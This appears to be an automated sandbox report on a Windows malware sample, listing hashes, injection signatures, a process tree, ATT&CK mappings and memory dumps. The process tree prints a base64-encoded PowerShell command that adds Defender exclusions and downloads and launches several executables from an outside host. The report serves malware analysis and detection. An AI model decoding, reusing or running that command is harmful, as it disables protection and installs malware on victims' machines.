46e1c91ab03398f776efc4a39fccd7ebb8c749a6c5ba18ca486b9d4660117256

General

Target

6b44e61780776a20e0e5cf557c600748f490b92b.exe
Size

345KB
MD5

a6db211824cfcc618ccb6ef4d63559cd
SHA1

6b44e61780776a20e0e5cf557c600748f490b92b
SHA256

46e1c91ab03398f776efc4a39fccd7ebb8c749a6c5ba18ca486b9d4660117256
SHA512

d920f07089dde273bf62fc9ee81fb8e1c0203cf10f599f5b050a146a923f866929ce2bae273299bb63f0128371c31f6940b08ab410d61ce25ad91d6b7e8e9d21
SSDEEP

6144:c3Qawf55fX1K/WfxXrHo9/z1/TY9JCGyvX6y3v60cjdtsFXAOrR6Gsc:c3Qawh5fX1K/WdrHo9rZTY9tbsxtgG7

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4956	powershell.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 948 set thread context of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4852	948	WerFault.exe	76
3624	948	WerFault.exe	76

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79
PID 948 wrote to memory of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79
PID 948 wrote to memory of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79
PID 948 wrote to memory of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79
PID 948 wrote to memory of 2372	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	79
PID 948 wrote to memory of 4852	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	82
PID 948 wrote to memory of 4852	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	82
PID 948 wrote to memory of 4852	948	6b44e61780776a20e0e5cf557c600748f490b92b.exe	82
PID 2372 wrote to memory of 4956	2372	vbc.exe	84
PID 2372 wrote to memory of 4956	2372	vbc.exe	84
PID 2372 wrote to memory of 4956	2372	vbc.exe	84

C:\Users\Admin\AppData\Local\Temp\6b44e61780776a20e0e5cf557c600748f490b92b.exe
"C:\Users\Admin\AppData\Local\Temp\6b44e61780776a20e0e5cf557c600748f490b92b.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 328
  2⤵
  - Program crash
  PID:4852
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 328
  2⤵
  - Program crash
  PID:3624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 948 -ip 948
1⤵
PID:4464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

1

T1064

Persistence

Privilege Escalation

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2372-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2372-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4956-142-0x0000000003330000-0x0000000003366000-memory.dmp

Filesize
216KB

Download
memory/4956-143-0x0000000005AB0000-0x00000000060D8000-memory.dmp

Filesize
6.2MB

Download
memory/4956-144-0x0000000005A10000-0x0000000005A32000-memory.dmp

Filesize
136KB

Download
memory/4956-145-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4956-146-0x0000000006250000-0x00000000062B6000-memory.dmp

Filesize
408KB

Download
memory/4956-147-0x0000000006A20000-0x0000000006A3E000-memory.dmp

Filesize
120KB

Download
memory/4956-148-0x0000000006EE0000-0x0000000006F12000-memory.dmp

Filesize
200KB

Download
memory/4956-149-0x00000000752D0000-0x000000007531C000-memory.dmp

Filesize
304KB

Download
memory/4956-150-0x00000000059B0000-0x00000000059CE000-memory.dmp

Filesize
120KB

Download
memory/4956-151-0x00000000082D0000-0x000000000894A000-memory.dmp

Filesize
6.5MB

Download
memory/4956-152-0x0000000007C50000-0x0000000007C6A000-memory.dmp

Filesize
104KB

Download
memory/4956-153-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

Filesize
40KB

Download
memory/4956-154-0x0000000007EB0000-0x0000000007F46000-memory.dmp

Filesize
600KB

Download
memory/4956-155-0x00000000015A0000-0x00000000015AE000-memory.dmp

Filesize
56KB

Download
memory/4956-156-0x0000000007E50000-0x0000000007E6A000-memory.dmp

Filesize
104KB

Download
memory/4956-157-0x0000000007C40000-0x0000000007C48000-memory.dmp

Filesize
32KB

Download
memory/4956-158-0x0000000007F80000-0x0000000007FA2000-memory.dmp

Filesize
136KB

Download
memory/4956-159-0x0000000008F00000-0x00000000094A4000-memory.dmp

Filesize
5.6MB

Download

Analysis

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